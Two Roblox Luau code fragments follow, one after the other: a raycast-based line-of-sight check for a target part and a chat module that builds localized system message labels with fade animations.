local MAX_PERIPHERAL_SIGHT = 10 local MAX_SIGHT_RANGE = 1 return function(originCFrame, targetPart, ignoreInstance) local targetPartCFrame = targetPart.CFrame local pointedCFrame = CFrame.new(originCFrame.Position, targetPartCFrame.Position) local ray = Ray.new(pointedCFrame.Position, pointedCFrame.LookVector * 500) local hitPart, hitPosition = workspace:FindPartOnRay(ray, ignoreInstance) local discrepency = (hitPosition - targetPartCFrame.Position).magnitude local range = (originCFrame.LookVector - pointedCFrame.LookVector).magnitude if hitPart and (hitPart == targetPart or discrepency < MAX_PERIPHERAL_SIGHT) and range < MAX_SIGHT_RANGE then return true else return false end end
-- ROBLOX FIXME: Can we define ClientChatModules statically in the project config
pcall(function() ChatLocalization = require((game:GetService("Chat") :: any).ClientChatModules.ChatLocalization :: any) end) function CreateSystemMessageLabel(messageData, channelName) local message = messageData.Message if ChatLocalization and ChatLocalization.LocalizeFormattedMessage then message = ChatLocalization:LocalizeFormattedMessage(message) end local extraData = messageData.ExtraData or {} local useFont = extraData.Font or ChatSettings.DefaultFont local useTextSize = extraData.TextSize or ChatSettings.ChatWindowTextSize local useChatColor = extraData.ChatColor or ChatSettings.DefaultMessageColor local useChannelColor = extraData.ChannelColor or useChatColor local BaseFrame, BaseMessage = util:CreateBaseMessage(message, useFont, useTextSize, useChatColor) BaseMessage.AutoLocalize = true local ChannelButton = nil if channelName ~= messageData.OriginalChannel then local formatChannelName if ChatLocalization and messageData.OriginalChannel == "System" then local localizedChannelName = ChatLocalization:Get("InGame.Chat.Label.SystemMessagePrefix", "System") formatChannelName = string.format("{%s}", localizedChannelName) elseif ChatLocalization and messageData.OriginalChannel == "Team" then local localizedChannelName = ChatLocalization:Get("InGame.Chat.Label.TeamMessagePrefix", "System") formatChannelName = string.format("{%s}", localizedChannelName) else formatChannelName = string.format("{%s}", messageData.OriginalChannel) end ChannelButton = util:AddChannelButtonToBaseMessage(BaseMessage, useChannelColor, formatChannelName, messageData.OriginalChannel) local numNeededSpaces = util:GetNumberOfSpaces(formatChannelName, useFont, useTextSize) + 1 BaseMessage.Text = string.rep(" ", numNeededSpaces) .. message end local function GetHeightFunction(xSize) return util:GetMessageHeight(BaseMessage, BaseFrame, xSize) end local FadeParmaters = {} FadeParmaters[BaseMessage] = { TextTransparency = {FadedIn = 0, FadedOut = 1}, TextStrokeTransparency = {FadedIn = 0.75, FadedOut = 1} } if ChannelButton then FadeParmaters[ChannelButton] = { TextTransparency = {FadedIn = 0, FadedOut = 1}, TextStrokeTransparency = {FadedIn = 0.75, FadedOut = 1} } end local FadeInFunction, FadeOutFunction, UpdateAnimFunction = util:CreateFadeFunctions(FadeParmaters) return { [util.KEY_BASE_FRAME] = BaseFrame, [util.KEY_BASE_MESSAGE] = BaseMessage, [util.KEY_UPDATE_TEXT_FUNC] = nil, [util.KEY_GET_HEIGHT] = GetHeightFunction, [util.KEY_FADE_IN] = FadeInFunction, [util.KEY_FADE_OUT] = FadeOutFunction, [util.KEY_UPDATE_ANIMATION] = UpdateAnimFunction } end return { [util.KEY_MESSAGE_TYPE] = ChatConstants.MessageTypeSystem, [util.KEY_CREATOR_FUNCTION] = CreateSystemMessageLabel }